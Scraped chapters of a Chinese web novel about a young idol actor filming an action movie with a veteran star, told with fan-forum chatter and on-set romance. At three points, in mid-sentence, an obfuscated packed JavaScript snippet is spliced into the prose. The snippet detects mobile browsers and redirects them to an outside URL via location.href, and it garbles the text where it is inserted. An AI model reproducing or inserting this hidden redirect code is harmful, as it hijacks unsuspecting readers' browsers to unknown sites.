“我就不了,你们年轻人耍吧。”颜纯提溜着药走了,信洋也想拒绝,漆疾风怎么说都不乐意,两人最后约到晨练的场地,要比划两下子拳脚。 “别藏着掖着啊,让哥看看你的真本事。” 信洋189的大个,浑身肌肉梆梆硬,就是可惜这么大的块头没长几个心眼。漆疾风让他亮真本事,他就真亮真本事。直到盛妆过来打断才停下。 “干架怎么不叫我,来,我俩试试。”她对漆疾风说。 她穿着军绿色工装背心和同色高腰工装裤,双臂肌肉线条流畅优美,浓密的黑发扎了高马尾,素颜,美艳五官大气舒展,双眼炯炯有神,整个人高挑挺拔,利落酷飒。 漆疾风前一秒刚被信洋摔在地上,人菜嘴还不消停,他笑得阴阳怪气:“我是不行了,弟弟猛,你和弟弟玩。” 盛妆心里冷哼一声,就这种随便一句话都能扯到黄色的花架子,都不够她练手的。 “那怎么行呢,来。”她一把拽起漆疾风,赏了对方个过肩摔才放人走。 “哎,弟弟,你怎么什么都往外说。” 盛妆倒挂在单杠上跟信洋聊天。 “我没说什么吧。” “今天你公司来人和袁导一起吃饭了?” “昂。” “你们都谁一起吃的。” 信洋把一起吃饭的谁谁谁都报出来。 盛妆笑道:“你看你是不是问啥说啥了。” 信洋:“……” “漆疾风刚才也问我这个问题了。”他后知后觉反应过来,漆疾风不是无缘无故陪他练两下的。 “你猜袁导为什么吃饭没喊其他公司的人?” “为什么?” 盛妆看他那愣样乐出了声。她倒挂着做了几个仰卧起坐,跳下来拍拍信洋那跟他性子一样敦厚坚实的臂膀,“多了解行业规则啊弟弟,你这傻孩子。哪有人把自身情况连底都交代给同行?咱们都是竞争对手啊弟弟。” 信洋:“……” 三字哥应该还没到家,要不再喊回来? 三字哥是回不来了,但三字哥的巴掌隔着千山万水抽了在他后脖颈。 “你个猪脑瓜子,当初定信狼一角的时候山峰传媒就在跟咱们争,你最后怎么赢的你忘了?” “可现在不都开机了。” “开机也是能换人的呀祖宗!现在知道你跟剧组磨合得不好,他们能不作妖?” “那怎么办?”不等三字哥回答,信洋又说:“没事,我能赢第一次就能赢第二次,我有信心。”他确实有信心,他从小想做的事就没有做不成的。 “我的小少爷呀,纯讲实力倒好办了,问题是山峰那帮老家伙他会耍阴招啊!” 信洋沉默了。娱乐圈太复杂了,不适合他这种四肢发达头脑简单的。 他弱弱:“那你就和他们battle吧,加油!” “加你爹个球的油,我真是……”三字哥酒还没醒,一顿呼哧带喘,“你也给我紧张起来,指不定出啥阴招。” 山峰传媒阴招第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124104|164308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步,买通稿起热度。 一个在夜晚拍摄,压根认不出谁是谁的五秒短视频,截成N段动图和N张照片,中间放上一个人物剪影,配字:猜猜是哪位少爷引影帝当场发飙了? 营销号发了不过一分钟,热评过万赞:这剪影有点熟,是gxy一辑封面吧。 跟评1:是他是他!他粉丝前段时间不还夸她们家哥哥牛逼,能和影帝演对手戏。 跟评2:gxy谁啊?官小意? 跟评3:男的,那个预备顶流。影帝应该是yc。 跟评4:yc跟他拍戏?我滴妈,影帝现在这咖位?他可真是饿了。 跟评5:他本来演技也不咋滴,和古信洋搭只能说是一个锅配一个盖吧。 …… 舆论转眼就起来了。 不是偷税漏税这种涉及到法律层面的原则性谣言,三字哥全都秉承一个原则——让子弹先飞一会。 但信洋这次跟以往任何一次被黑都不一样,他是等不了一点。他抱着手机拼命刷,越刷越气,越气越刷,黑他一个人就行了,为什么还要拉上颜纯? 颜纯出道这多年就没有在工作专业性上被黑过。 “我要澄清。”他维持着最后的理智给三字哥发消息。 “澄什么清?人指名道姓说是你了吗?手机关机睡觉去,你但凡瞎搞一下我都收回账号。” 信洋憋闷,压不住愤怒和好奇,还在一直刷。很快,他发现三字哥是对的。 不过几个小时,舆论,反转了。 袁严以前拍戏非常看重保密工作,但这次为了后期宣传能上力度,他答应了出品方提前和一家营销公司合作,每天让工作人员拍物料发给营销公司,前期就在各大短视频平台造势营销。 营销公司宣传的点也找的很符合现在年轻人的口味——信洋和颜纯的双男主。 信洋嗖嗖嗖在实时广场刷黑子言论,忽然,手一顿。他看到了一张照片,照片像素不高,还是个复古做旧的色调,但完全能认出来照片里的人是颜纯和他,并且颜纯捏着他下巴。 照片评论是: 我靠,这是什么强制文学! 瞬间脑补大佬调|教小弟反被压。 就不就能是小狗做错事受惩罚,第二天出门办事膝盖都是肿的。 脆弱破碎的爹系O训完狗还要被年轻一轮的A咬不香吗?第二天大佬们一起吃饭,大家闻到他身上的味都惊呆了。疯狂猜测是哪个A这么胆大,然后就看见大佬从小养大的小狗走过来,很自然的蹲下给他系鞋带,简直乖的不行。 笔给大大,孩子饿饿,求把饭勺捅到我嘴里! 有同类的文吗?求一个! 姐妹我有,后台思。 纯哥平时禁欲冷情,衬衣扣都扣到最上面一颗,偶尔稍微放开点 ,就让洋仔疯狂痴迷。纯哥看似被强但其实很享受看着洋仔痴迷,洋仔自以为很强势,但其实全部过程节奏都由纯哥牵着呢。 !!!完美的猎人都是以猎物的形象出现的! 不敢想象纯哥这手要是被红绳绑一起压在床头得多刺激。 信洋自言自语:“……我也不敢想象……” 他做贼一般点开照片,迅速点下保存。屏息两秒又点进相册删掉。为了转移注意力,他继续疯狂刷新手机,很快,广场被一张同人图刷屏了。 还是照片里两人相对的姿势,只不过Daddy岔开腿骑在了狼崽身上。狼崽的大手钳住他的细腰,小腹贴小腹,眼神拉丝,呼吸缠绕。 博主:速写了一张,明天给大家来一张AO的。 啊啊啊啊啊啊,大大的好奇挤满了信洋小小的脑子,他手欠地去搜了什么是AO。 十分钟后,他把手机一撂,冲凉水澡去了。 冲到一半,他又跑出来建了个隐藏相册,刷刷刷,把看到的图全存了。 10. 第 10 章 今天要拍一场重头动作戏——盛妆饰演的阿奢救被陷害的疯猫脱险后,遇上了反派虎子彪和他手下。恶斗一番寡不敌众,两人重伤躲进贫民窟,却发现了虎子彪更大的阴谋。 就在他俩性命陷入危机之时,信狼耀爹出场。虎子彪借此机会与耀爹约定了7月19日在沙洋奇迹号上的“风信子之约”。 这个情节算是整个故事的开端,袁导在这里设定了非常漂亮的一场巷道追逐战,以及信狼和耀爹同框登场的名场面。 “真离谱,我还以为贫民窟后期会用特效做,没想到直接搭了实景,太离谱了。”信洋一大早在训练场打完一套“狼拳”,热完身,和盛妆漆疾风一起到了摄影棚,对着实景搭建的贫民窟赞不绝口。 “要不是有蓝布,我还以为到了真的贫民窟。”他兴奋地到处拍照,盛妆看他看什么都新鲜的样子,想起自己当年第一次和袁严合作,也是被他平地建出一座城池惊讶了好久。 “这就是工业电影的魅力,尤其咱们这种动作片,钱都用在肉眼可见的实处,不拿特效糊弄观众,才能良性循环。” 漆疾风对盛妆的说法不以为意,他刚火的时候混过那个电影市场粗制滥造,闭着眼就能捞八位数片酬的年代,对现在这种躺着赚不了钱的现状是一腔不满。 “不用特效是因为你便宜啊姐姐。” 盛妆耸耸肩:“便宜的可不是我。” “便宜的是我。”信洋傻乎乎的接话,压根没察觉盛妆和漆疾风之间的暗流涌动。 “洋仔!”江子翘大老远走过来,问候了盛妆漆疾风,然后特意转着圈跟信洋全方位展示自己刚做好的妆造,“怎样,哥这一身派不派?” 他180,比信洋个矮,顶起的鸡冠子头刚碰到信洋鼻梁,信洋两手啪合在一起,捋了把鸡冠头,“哈哈哈哈,帅,哥,这墨镜也带感,你让我想起了那张表情包,灯光一亮,大公鸡戴着大金链子和墨镜,闪亮登场。” “哈哈哈哈哈哈,是唔。”江子翘两手提了把哈伦裤的裤腰,潇洒一甩花西装下摆,脚踩板凳,猫着腰笑面虎般说:“嚟頂個頭哇。”(来顶个头哇。) 这是他饰演的角色,虎子彪最得力的兄弟,癫公三彩鸡的经典台词。 “太像了太像了!三彩鸡就你这样的。”信洋拍手叫好,江子翘一下子把他带到了剧本中描写的场景里,他也赶紧跑去做妆造。 妆造完他找了一圈,没看到颜纯的身影。换戏服的时候,他把自己裤兜里装的一个小本子和笔也换了过来。 替身演员们先将所有的动作戏呈现了一遍,所有演员排练了两遍,才正式开拍。 阿奢和疯猫在巷子里被三彩鸡追逐的戏份先拍。 阿奢的武器是一条手工锻打的七节鞭,精巧灵活,攻击性强,亦可防守全身,在光线昏暗,狭窄逼仄的巷道里作战很有优势。奈何,她半背半拖着一个被人砍了手指,神志昏沉的疯猫。 疯猫:“阿萍她们还在里面。” “管不了她们了,我俩出去找到耀爹再说。” “他指定又要罚我。” 阿奢狠狠剜他一眼:“知道还每次都莽撞行事。” 阿萍,和疯猫有过一夜缘分的一个舞女,后来仙人跳陷害了疯猫,疯猫报仇时发现她也是遭人迫害,心软闯入贫民窟救她,因此被虎子彪的人抓住,剁了两根手指。 阿奢救了他,逃窜的过程中他们发现贫民窟的地窖里锁着很多偷渡来的难民,这涉及到新闻里反复报道的一起超大人口贩卖案,也和数年前那场安耀阳在内的三方势力的破裂有着千丝万缕的联系。 “不管怎么说,先从这里出去。”阿奢是二姐,比疯猫这个三弟遇事稳重许多。 巷道里,阿奢解决了小喽啰们的围堵,拖着疯猫疾奔,拐过转角后才发现这是一个死胡同。 墙上的小窗户里飘出呛人的锅气,晾在墙壁两侧衣杆上的衣物、床单随微风轻荡,遮蔽了视线,居民家里叮叮当当的炒菜声和乱糟糟的人声混在一起令人心焦。 阿奢抬头寻找出处,巷道最里面是一个高两米左右的平台,如果能将疯猫拖上去,他们就能顺利逃离。但怎么把疯猫弄上去呢? 这时,二楼探出来一颗头,一个没门牙的阿婆扇着蒲扇警告阿奢:“打交就打交,唔好整污糟我床單!”(打架就打架,别弄脏我床单。) 床单!阿奢迅速扯下条床单绑在疯猫腰上,自己先爬上平台,再拉疯猫。 阿婆:“……” 拉到一半,劲风来袭,一把斧子拦腰剁断床单,嘭!疯猫摔在地上,痛得缩成了一只虾子。 “哈哈哈哈哈哈哈哈。”三彩鸡等人遮住了巷道口唯一的光,将他们密不透风堵在这一死角处。 三彩鸡抓抓裤腰,两手捋自己的鸡冠头:“嚟頂個頭哇。” 阿奢:“顶你爹个球!” 她跳下平台,捡起斧头回过去,直接吓尿一个小喽啰。 “走哇,回来干什么!”疯猫朝她喊,“我我……我还有……有句话没跟阿萍说,我……” “还有,帮我告诉耀爹,我下辈子再报——” “啪!”阿奢毫不犹豫一个大耳刮子扇过去,“闭嘴。” 疯猫眼含热泪,被二姐一耳光扇的乖乖闭上嘴。 “哈哈哈哈哈,不亏是咱风信山霸王花养出来的,动起手来这六亲不认的劲劲鸡哥好中意哇,哈哈哈哈哈。” 阿奢面色平静,看似在听三彩鸡说话,实则在找突破口。 “听说你的奢是奢侈的奢,霸王花至少在你身上砸了这么多W。”三彩鸡比出十指,“今天鸡哥也给你准备个超豪华套餐,让你走的爽歪歪啊,好不好哇妹妹仔哈哈哈哈哈哈哈哈。” 单价2w的背心上沾了不少脏污,阿奢丝毫不心疼,她冲三彩鸡勾勾手指,:“来,老娘先让你爽。” 她话音未落,拔出短靴的匕首飞出!然后以绝对的速度杀进人群,抢占先机。混战爆发,血色和嚎叫一同扬起。 时值午后,骄阳正灼眼。阿奢矫健的身影在阳光映照下快如捷豹。转眼地上就躺了一堆哎哟哎哟痛叫的。 三彩鸡一帮人正面打不过,就仗着人多搞偷袭,一个小喽啰瞅准机会,给阿奢背后来了一刀。 镜头拍到了鲜血渗出的画面,监视器旁看入迷的信狼皱着鼻子直嘶叫,“啊哟!疯猫挂了都行,蛇姐受一点伤我都要心疼死了!” 袁导扭头,看中二魂正燃烧的热血青年一边看一边手里还拿着个小本子在写写画画,于是凑过去看。哪知信洋刷就收了小本子,神色不自然地跳起:“袁导,是不是该我上场了?” 袁严抬头望了眼天色,他等了两个礼拜,天天守着天气预报,就为等今天的绝美夕阳。 “差不多,你再去跟好来哥热热身,跟颜纯走走戏。” “颜老师来了吗?我这就去。”拍动作戏不像拍亲密戏一样,信洋心里没有任何负担。看盛妆在镜头里那么酷飒帅气,他甚至有点跃跃欲试。 袁导看着他大马猴一样蹦走的背影,若有所思。 颜纯刚做好妆造,不同于之前要强调他作为一个病人,一个爱人的柔软破碎感,他今日的出场主打一个儒雅不失霸气,禁欲不失性感,大佬气质拉满。 之前或垂顺或散乱的头发,全都梳起弄成大背头,在家里戴的黑框眼镜换成更文雅的银丝边眼镜。身上的衣服也由休闲款式换成国风刺绣马甲加中山领衬衫。他三个孩子虽然拉得各有各的邋遢,但他本身,是一朵有着严重洁癖的娇美霸王花。 信洋看到他这一身忍不住多看了好几眼。今天颜纯的妆造要比和他对戏时显得年轻,他几乎能想象到这个人物在未生病之前,叱咤风云时是多么的风流倜傥。也只有颜纯这张脸出演,“风信山霸王花”的称呼才能精确具象化。 信洋还发现一个很小很小的细节——颜纯和他对戏时,视线要么和头一同抬起,要么自上而下总是笑意盈盈的,充满包容宠溺感。 但此刻当颜纯和饰演虎子彪好来哥走戏时,他的视线总比头先抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124105|164308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起。这就导致他的眼神有“瞪”的力量,充满了审视与警告的意味,同时杀伤力也蹭蹭飙升。 所以从他看见颜纯和好来哥,等他们走完戏,到他走到颜纯面前,他的心里也一直在打鼓。当然,这也和他接下来要鼓足勇气做一件事有关。 好来哥先看见他,笑呵呵招手把他喊过去。 “我家小闺女可喜欢你了,来来,洋仔,你给签几张名。” 信洋接过前辈递过来的小卡,看到自己在上面那些臭美骚包的pose,还有点不好意思。他没跟往常签名一样龙飞凤舞的画上名字,而是板板正正,规规矩矩签了十张。 这过程中他听到好来哥跟颜纯聊天:“你还别说,这孩子长得和美霞姐真挺像。” 颜纯说:“眼睛最像。” 信洋两只耳朵唰就竖起来了,他最像妈妈的地方就是眼睛!颜老师这可没少观察我啊。 他们母子都是圆型的丹凤眼,又大又亮,而且他比妈妈的还要圆一点,所以没有那么犀利,笑起来弯弯亮亮分外甜美,不知迷倒了多少姐姐妈妈粉。 粉丝们就是因为他笑眯眯时真的很甜,所以才喊他甜心宝贝。这称呼信洋刚出道时还能接受,毕竟他那时候未成年,个头矮,两腮还有婴儿肥,后来他个头猛长直逼一米九,婴儿肥褪去,脸部轮廓线条尽显硬朗锋利,又练了一身腱子肉,就开始不喜欢别人喊他甜心了。 不过最有意思的还是信洋生气时,气得把眼睛瞪圆了蠢萌蠢萌的,他二姐古信靓在家老喊他二哈哈。 颜纯:“嘴巴也有点。” 信洋嘴巴也的确是和妈妈一样略厚的嘴唇。只不过他还没发掘自身性感的一面,不懂得这唇的诱惑。 信洋听着这几句评价心里嘎嘎乐。颜老师私底下指定没少看我照片。 “你妈那时候演五行侠,那女扮男装比我们可俊多了。”好来哥拍他肩膀,“来,我们合个照。” 信洋乖乖站过去,两手背后,主动岔腿站着降低身高,然后头轻轻靠过去贴着好来哥。拍了几张,他眼睛眨巴眨巴看着颜纯:“颜老师也来吧。” “他就算了,我大闺女是他铁杆影迷,那房间里全是他海报,晚上睡觉都还搂着他睡枕,不搂我这个活爹。” 信洋拨了拨刘海,随着好来哥的话说:“我二姐也特别喜欢颜老师,好来哥,你能给我和颜老师拍一张吗?我给我二姐。” “没问题。” 颜纯稀里糊涂就被人拉着拍了合照。 拍完照,走完戏,好来哥先去进场实拍,颜纯在旁边观望,信洋则站在他身后听他跟导演讨论。 听讨论就听讨论吧,他老盯着颜纯直勾勾看,看得颜纯以为自己把行业话说太深奥了他听不懂。调整了说法结果信洋眉头还拧上了,把颜纯整得一头雾水,没忍住问他:“怎么了?哪里有意见?” 孩子又想起他铁哥们了?看他哪哪都不顺了? 哪知信洋连忙摆手:“没有没有。” 盯啊盯,盼啊盼,信洋终于盼到颜纯身边只剩他,一咬牙,一鼓气,摸出裤兜里的小本子,又是双手捧起奉上。 “颜老师,我好好思考了你问的那几个问题,然后结合自己的理解,还有其他旁观视角给出的反应试着回答了一下,您看看?” 颜纯真的有种当老师的错觉,还是当那种成绩虽然不好,但非常认真努力,双眼装满真诚的孩子的老师。没有哪个老师能拒绝一个真诚的孩子,颜纯亦是。 他接过小本子认真看完,没做评价,只说: “行,等会儿就按你理解的这么演。” “不过我有个问题。”颜纯又说,“你为什么喊我老师?” 又没有真的传道受业解惑,哪配得上“老师”二字? “因为我把您当老师所以喊老师。” 颜纯还是疑惑,“别人都喊我纯哥,你为什么不跟着他们一起喊哥?” 信洋想都没想:“因为他们都喊你哥。” “哈?” 这什么逻辑? 11. 第 11 章 “各部门准备。” “99场1镜,action!” 打板声落下,镜头缓缓上抬。绝美夕阳下一片寂静,忽然,镜头里出现了一只猫影。 “喵呜!” 在满屏看似温馨,实则暗藏杀机的昏黄里,奈儿公主迈着优雅从容的步伐,出现在平台上。 它影子后,跟着一个高大的人影,最后是一个略矮的清隽身影。 “公主唔要乱跑。”信狼弯腰捞起奈儿夹在腋下,退后一步地狱凶神般立在安耀阳身侧。 “卡!信狼,你小媳妇一样缩到后面干嘛?” “我我……”信洋想说他理解的狼崽就是耀爹手里最锋利的矛,但耀爹如果不发话,他就又是其身后最坚实的盾。他给自己设计的是,这个场景里,他刚开始只是耀爹身后的盾。 “再来。” 这个出场镜头又拍了几遍,袁导怎么看都不满意。 信洋边补妆边默默吐槽,剧本上都没写清楚具体场景布置,让人怎么演嘛。他偷瞄颜纯,对方毫无怨言。指定早被袁导折磨的麻木了,好可怜的颜老师。信洋兀自想,自己必须要更给力,让颜老师少受点折磨。 “这样,你抱起猫顺手给到耀爹,像老父亲把孩子给妈妈那样。”袁导提出新的演法。 “干脆给要耀爹上把椅子,要破破烂烂但又能坐的那把,扔到他们后面,信狼拉过来直接给耀爹坐。” 上椅子?这种巷道里怎么会莫名其妙放一张椅子,信洋觉得好离谱。 他求助地望向颜纯,后者给他一个眼神:相信导演。 “导演脑子里针对一个场景至少有四种设计,你看他说上椅子工作人员立马就上椅子,所有人都提前做了很多准备,我们要做的就是把自己融进这个场景,所以相信导演就好。”颜纯每次说这种引导、鼓励性的话,声音都格外平静,信洋一瞬间就能集中在他说的内容上,而不是他张合的双唇。 信洋似懂非懂,但还是点点头。他不相信导演,但他没理由地相信颜纯。 导演在不远处看着他们之间的互动,觉得信洋这个小伙子真有意思。 一开拍凑近颜纯,这小伙子的身体自然而然流露出对其依赖的亲密感十分明显。但一喊卡,他又立马和颜纯拉开距离。肢体上虽然隔的远了,眼神却一直在追随着颜纯。面上稍微露出点疑问,下意识就看颜纯去了,真有意思。 袁导看向另一块副监视器——这个镜头专门负责记录这些戏里戏外的瞬间。到时候宣传直接把这些花絮一剪放出去,粉丝们得炸成啥样啊。 他觉得自己让他们先拍了几天的亲密戏,真是智慧之举,还有什么比肢体接触更能加速演员之间的化学反应的?等过几天拍了真正的激情戏,他们之间的化学反应肯定会更棒。他本来对信洋这个一部戏都没演过的菜鸡没抱什么期待,但看他现在调动自己入戏,他还是很欣慰的。 “OK吗?”袁导问。 再次开拍,进展得比信洋想象中要顺利。果然抛开一些只出于自己狭隘视角的质疑和对抗,学着去把自己交给导演,反而效果更好。 终于终于,在日落之前,拍到了袁导想要的画面—— 奈儿、信狼、耀爹在如火夕阳中登场。耀爹坐着一把烂椅子负责优雅撸猫;阿奢单手攀墙回到耀爹身边,负责装酷耍帅;信狼捞起被床单捆住双臂的疯猫,拎着他徒手上墙,负责用硬汉悍然的气场震慑敌人;奈儿公主窝在美人Daddy怀里,负责用绝对藐视的眼神精神攻击敌人;疯猫被拎到耀爹脚边,举着断手卖惨掉眼泪,照旧负责花式窝囊。 港色三掌柜的一家人,就这么整整齐齐,同一时刻抬头,看向三彩鸡一帮人,画面定格在这一秒。 阿奢、疯猫的靠山来了,三彩鸡这边自然也不甘示弱。 只听一声“风信山霸王花,小老三儿,哥哥真是好久不见你露面”,脸上挂彩的小弟们便纷纷退让两边,虎子彪穿着最爱的虎纹大衣,大晴天自己打着一把大黑伞,上场了。 典型袁氏无厘头反派。袁导的电影里,正派往往负责装逼耍帅虐观众,反派就负责无厘头搞笑和令观众满头飘满问号。 袁导这些年的片能部部出圈,有很大一部分原因,是观众们都想亲自到电影院骂一句:卧槽,还能这样?! 毫不夸张的说,演员拍摄时的疑问、震惊、无语等情绪,百分之百会溢出电影,漫向观众,让观众看完后一边骂骂咧咧一边掏钱二刷。 所以袁导这些年合作的大都是熟人。好来哥和他合作十多年,塑造虎子彪这种有病反派对他而言可谓信手拈来。 不过他现在演虎子彪,又有不同于以往演过的任何一个角色的新鲜感。娱乐圈里越是认真拍戏的人,越能在看似一尘不变的赛道里,迸发出新鲜蓬勃的生命力。 虎子彪将撑开的大黑伞搭在俩小弟头上,捋一把编了一半的及腰蓝发,上去就给三彩鸡一记爆栗,“让你给老子编完辫子再来追人,跑得比驴还快,还抓不到人,你可真是只菜鸡。” 三彩鸡立马乖巧伸手,给大哥边编辫子边嘟囔:“早说了我要改名叫三头鸡,头鸡才厉害嘛。” 他这个人物的特色,就是整部影片全程执着于要改名叫三头鸡。他们二人的设定,就是这种外形花里胡哨,对话莫名其妙的大哥和小弟。 就是在这种一点也不正式场合里,这种莫名其妙的氛围里,耀爹答应了带三个孩子参加虎子彪的“风信子之约”,为整部电影留下了最大的伏笔。 袁导一喊卡,颜纯和好来哥就拉了凳子坐在监视器前看。信洋也跟着盛妆等人凑过来观摩。 看完,大家齐刷刷鼓掌。打戏爽利,节奏紧凑,画面写实又荒诞,人物基本形象立住,有一些细节令人捧腹。 “没想到演的最好是你。”颜纯抱起奈儿啵啵亲了两口它甜美的小脸蛋。奈儿长着一张顶可爱的小歪嘴,窝在Daddy怀里时,那居高临下的姿态,充满藐视的眼神,竟然是港色三掌柜一家人里最最霸气的那个。袁导也是格外满意它的表现,还给它来了特写呢。 某个傻大个这场也表现不错,颜纯看着监视器里信洋健美的大腿肌肉,心想,这不是挺有张力么,怎么和他一对戏就腿不是腿,腰不是腰的,那么扭捏呢? 看吧看吧,这会儿扭扭捏捏在那儿偷看他呢,怎么偷感那么重一年轻人呢。想看就大大方方看呗,他颜纯又不是小气的人,顶多摸一把他那蜜大腿,又不吃了他。 信洋不是不大方的孩儿,但他看见颜纯面无表情站在监视器后,就不自觉地发怵,紧张,怕被揍,呜呜呜。 “洋仔发挥不错,提出表扬。“袁导单独点名表扬,可把信洋美坏了。 其他前辈也夸他,他嘿嘿笑着,接受了一众好评,大眼睛次吧次吧,巴巴瞄着颜纯。 他看见颜纯亲奈儿,一脸不服气,为啥不亲……不夸他呢?他完全藏不住事儿,心思都写在脸上了,但颜纯把其他新人演员都夸了一遍,唯独没提他。 哼!信洋噘成窝瓜嘴,不夸就不夸,谁稀罕。 “导演叫我来演大佬,骗我老汉说大佬和大佬之间不用动手,结果是和你们这些年轻人打。你们还都这么帅,一个个表现得这么好,洋仔没让导演骂哭,很棒哦,不亏是我闺女看上去的帅锅。”好来哥倒是毫不吝啬的夸奖着新人们。“真是前浪推后浪,再过个几年就是你们的天下咯。” “还远得很。”袁导说,“不过今天表现都确实还行,给我省胶卷了。” 江子翘打趣道:“洋仔这里给纯哥递猫还真像一个新手爹,我姐夫抱孩子也这样。” 盛装也说:“把奈儿夹到腋下这个动作设计得很妙啊,弟弟,你好像前段时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124106|164308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间秀场上很火的那个,夹着猫包要去干架的模特,哈哈哈哈。” “哎呀,我知道我帅。”和哥哥姐姐们说话,他自恋臭屁的本性就暴露了。他打小一个人被丢惯了,超级羡慕别人家欢乐热闹的大家庭。今天这个氛围他可太喜欢了。如果戏都不用自己拍,但夸奖都落到自个头上,那就更好了。 他又去偷瞄颜纯。还不夸?难道真不夸?他默默挤到颜纯椅背后,不敢和颜纯刚,就去瞪颜纯怀里的奈儿。奈儿小脸一扭,舒舒服服窝在颜纯怀里,才懒得理他。 颜纯专注于讨论剧情,好来哥说:“如果这里狼崽把凳子拉过来,纯第一次坐上去凳子滑下来了,然后再面无表情坐上去,效果会不会更好?” “这想法不错,明天拍这么一条看看。”袁导急着下班,他跟家属约了下班一起逛这附近的夜市。 奈何有些不仅爱卷自己,还爱卷导演的员工没眼色,拉着他讨论个不停。而且他这颗该死的工作脑,人家给出个新鲜点子,它就源源不断冒出一大堆新创意。 袁导指着颜纯,还有他怀里的奈儿,以及信洋,“干脆,你们仨凑个美老霸三人组,反正你们仨同框戏多。” 颜纯笑道:“我老,奈儿美,他霸?”转头看着信洋,“他这形象在前辈们面前还不能称上霸。” 袁导也转头打量信洋,“确实,跟你们一同框气场就弱了。那就还得在外形上下下功夫。” 在形象上下功夫好办啊,信洋脑子里忽然冒出个主意,他试探地说:“要不,我剃个板寸?” 袁导:“可以!” 没想到导演一口答应,信洋乐坏了。他想剃板寸很久了,但三字哥一直不同意,毕竟,他走的是偶像派路线,发型还是很重要的。 这下得偿所愿,他说话语速都快了:“现在叫凌娅姐剃吗?还是明早剃?” 袁导:“现在就剃,颜纯剃。” 袁导灵感爆棚,当即决定加一场爹给狼崽剃头的戏。剧组分分钟按他的要求布好了一个非常简单的景。 信洋已经不知第多少次被他这想一出是一出,以及剧组强大的执行力震惊了。但也迅速适应节奏,乖乖配合,还是坐到了颜纯的剃刀下。 “袁导,台词说什么?”他问。 “等会颜纯怎么演,你就怎么接。” 哈?我接?我能接住吗?导演你是不是太信任我了啊,我还是个小菜鸡啊。 就在他手心着急的狂冒汗时,他听到颜纯说:“即兴的戏份不用想太多,因为导演不一定会剪进去,按你理解的那么演就行。” “好!”信洋瞬间有了信心。脑子里顿时想象出N多狼崽在这种和爱人亲密时刻的反应。但想是一回事,演又是一回事,他现在的功底和精准表达人物状态,还差着十万八千里。 新人演员碰上这种时候,好的导演就起作用了。 “微微仰脸,对,放开了看他,不要眨眼。” 狼崽望着神情专注的安耀阳,两人的脸之间只隔着几寸,呼吸交缠。电推子声嗡嗡嗡,像极了蚊子在叫,直叫得狼崽心痒。他没忍住,眨了下眼,视线下滑,落到了安耀阳嘴上。 摄影师立马给他不自觉吞咽的喉结来了个特写。袁导顿时磕得嘴角疯狂翘起,惊喜镜头这不就来了嘛! “胡子也刮刮?” “不刮,你老嫌我幼稚,我要留胡子变Man。” “行,那就留着。”颜纯抬手揉了把新鲜出炉的猕猴桃,被揉的人舒服,他也舒服。不得不说,手感是真好啊。 耀爹沉静的双眸染上笑意,低头若有似无在狼崽鼻尖留个吻,“去,碎头发自己冲干净。” “卡!”袁导满意地喊道:“完美,收工!” 信洋:“……” ??? !!! 刚才……发生了什么? 12. 第 12 章 即兴也能亲?!颜老师也没说要亲啊,那我是不是也应该回一个啊啊啊啊啊啊啊! 一条过了?我竟然一条过了???哈哈哈哈哈哈!我竟然也能一条过!他亲我啊啊啊啊啊啊! 说不清哪一件事让信洋更激动,他的脸爆红成猴屁股。 “洋仔你快把嘴角压压。”江子翘揽住他,“纯哥魅力就是大,一个借位把你脸整这么红。” “啥?!借位?不可能,他绝对亲了,我都感受到了!真的!” “亲了亲了,真亲了,哈哈哈哈哈哈,弟弟,你是不是就想让纯哥亲你?”盛妆憋着坏问他。 “哪有,这、这不拍戏嘛,我我我和颜老师,我们都专业的!” 盛妆:“别结巴呀你,颜老师肯定是专业的,至于弟弟你嘛,小心思可要藏好咯。” 江子翘:“他才21,他能藏住什么。” 信洋任哥哥姐姐们调侃,视线暗戳戳瞄向颜纯,对方明显已经出戏了。 到底怎么做到秒入戏秒出戏的?他心里顿时有点说不上来的感觉。 “还下不下班啦?”李麦花衬衫花短裤出现在摄影棚门口。“一楼食堂今天有海鲜自助,导演请客,谁去?” 摄影棚里顿时响起各种欢呼猴叫,为他们一如既往大方的袁导,为即将到来的周末,打工人们控制不住地出现了返祖行为。 袁导脸也拧出了猿样,好好的二人约会,怎么变成群猴聚餐了?他那个气呀。 后辈一拨,前辈一拨,浩浩荡荡去了食堂一楼。人群里唯独不见漆疾风身影。 几张桌子拼一起,叽叽喳喳入座,吵吵嚷嚷端菜。袁严招手问窗口老板:“有黄河吗?给纯来扎黄河。” 老板:“黄河还真没有,要不我现在去买?” 颜纯:“不用,我今天也不喝酒,不麻烦了。” 李麦:“胃还不行?要不煮碗粥喝?” 